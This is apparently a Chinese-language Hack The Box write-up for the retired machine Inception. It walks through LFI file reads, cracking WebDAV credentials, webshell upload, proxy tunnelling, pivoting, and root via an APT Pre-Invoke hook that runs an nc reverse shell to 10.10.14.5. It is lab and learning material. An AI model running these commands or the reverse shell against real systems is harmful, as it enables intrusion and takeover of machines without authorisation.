本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.67
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
执行命令 autorecon 10.10.10.67 -o ./Inception-autorecon
最的扫描结果就得到两个端口,一个80的web业务端口另一个是3128的代理端口,我们先看看80端口
没看到啥东西,看看burpsuite的请求,重放看看源码信息
很直观的感觉,这里重放之后很多空白行,很自然的拉到最下面,看到了此关键信息,猜测这个就是一个目录路径,我们访问看看
翻看了这里的文件,看到了版本为0.6.0 在kali上搜索下是否存在漏洞
得知利用方式,此处存在LFI 直接利用看看,这里注意,如果直接浏览器访问会显示下载一个pdf文件,此时需要使用burpsuite进行重放拿到base64编码然后解码即可
既然可以读取任意文件,那么读下目标靶机的默认配置文件,具体配置文件信息,可以参考:https://cwiki.apache.org/confluence/display/HTTPD/DistrosDefaultLayout 最终如上读取了base64编码的配置文件信息,解码如下
知道了一个名称为webdav的配置路径的认证账户和密码,按照名称意思是存在webdav相关的put上传漏洞,但是访问之前需要认证,所以先使用LFI读取账户和密码然后访问webdav路径使用put进行上传shell
解码后如下:
webdav_tester:$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0
通过john加字典进行破解
john bmfxpass --wordlist=/usr/share/wordlists/rockyou.txt
得出的账户和密码:webdav_tester:babygurl69 ,到了此处就有很多利用PUT上传的方式了,可以参考我之前做的vulhub靶机,链接:https://www.cnblogs.com/autopwn/p/13859804.html 此处再给出两种方法
第一种方法:
使用一键脚本直接上传 https://github.com/cldrn/davtest 这是对应利用工具地址 下面是一键上传命令 ./davtest.pl -url http://10.10.10.67/webdav_test_inception -auth webdav_tester:babygurl69 -uploadfile backdoors/php_cmd.php -uploadloc bmfx.php
第二种方法:
kali自带的命令cadaver使用put直接上传拿shell kali@kali:~/Downloads/htb/inception$ cadaver dav:!> open http://10.10.10.67/webdav_test_inception Authentication required for webdav test credential on server `10.10.10.67': Username: webdav_tester Password: dav:/webdav_test_inception/> ls Listing collection `/webdav_test_inception/': succeeded. bmfx.php 328 Nov 29 22:15 webdav.passwd 52 Nov 8 2017 dav:/webdav_test_inception/> put bmfxshit.php Uploading bmfxshit.php to `/webdav_test_inception/bmfxshit.php': Progress: [=============================>] 100.0% of 333 bytes succeeded. dav:/webdav_test_inception/> ls Listing collection `/webdav_test_inception/': succeeded. bmfx.php 328 Nov 29 22:15 bmfxshit.php 333 Nov 29 22:42 webdav.passwd 52 Nov 8 2017 dav:/webdav_test_inception/>
上传小马成功之后本想反弹shell,但是试了几个端口发现都不能正常反弹,猜测防火墙对出口和入口都做了限制,那么这里就是webshell在网页端进行查看
网页马 https://github.com/b374k/b374k 使用方式: php -f index.php -- -o bmfxb374.php -p bmfx -s -b -z gzcompress -c 9 https://github.com/flozz/p0wny-shell(直接上传即可使用) https://github.com/Arrexel/phpbash(直接上传即可使用)
最后通过webshell知道目标靶机的wordpress的数据库密码
获得了数据库的密码:VwPddNh7xMZyDQoByQL4 此时想到目标开放了两个端口一个是代理用的,一个80用的,想试试此密码是否能够直接通过ssh登录到目标,查看下目标开放的端口
很显然开放了22端口,只是因为防火墙的原因不能直接远程连接,那么没关系,我们使用目标靶机提供的代理将22端口转发到本地,这里使用kali自带的命令proxytunnel
proxytunnel -p 10.10.10.67:3128 -d 127.0.0.1:22 -a 8866
开始本地连接目标靶机,因为前面的LFI漏洞读取了/etc/passwd知道了目标靶机存在用户cobb,所以此处ssh连接就是此用户
顺手执行了sudo -l发现可以直接提权
但是结果并不能获取最终的root.txt,意思是在其他机器上,此时回头看看发现此靶机的IP地址是192.168.0.10 ,而我连接到此靶机的IP是10.10.14.5,跟测试的目标IP地址是10.10.10.67 ,并且通过webshell发现显示访问192.168.0.10的IP地址是192.168.0.1那么可以确认192.168.0.1是个网关地址跟目标靶机10.10.10.67直接有路由转发,而本机IP是10.10.14.5,致使他们之间可以连接,所以现在需要做的是测试目标IP为192.168.0.1的主机,详细root.txt就在此主机上,这里可以通过两种方式扫描目标,一直是nc的方式,不过这个我测试了,速度比较慢,使用超时的参数也慢,所以我觉得使用静态二进制nmap文件进行扫描,最终到处了目标存在ftp服务和tftp服务,ftp服务可以下载文件,tftp服务可以写文件,于是就有了下面的操作
通过上述知道了目标192.168.0.1 有个以root权限执行的计划任务,执行的命令是apt命令,关于apt的提权命令可以参考如下:
https://gtfobins.github.io/gtfobins/apt/
https://www.cyberciti.biz/faq/debian-ubuntu-linux-hook-a-script-command-to-apt-get-upgrade-command/
而且知道了利用apt命令的默认配置路径,这样就有了下面的提权操作
echo 'APT::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.5 8833 >/tmp/f";};' > 100update
然后本地监听8833端口,等待反弹shell
确认IP地址
得知目标靶机其实是两个网卡IP地址,提供的web服务在192.168.0.10,但是对外的IP地址是10.10.10.67,而且有防火墙限制,反弹不了shell,而本身的另一个IP地址192.168.0.1是没防火墙限制可以反弹shell,但是对外的IP地址10.10.10.67没有对应的服务提供,所以从外部打进来无法直接接触到IP地址192.168.0.1,总结下来需要从10.10.10.67的web打进来然后转到192.168.0.1,再反弹回来。
PS:上述提权还可以通过写入ssh公钥进行直连,具体大家去测试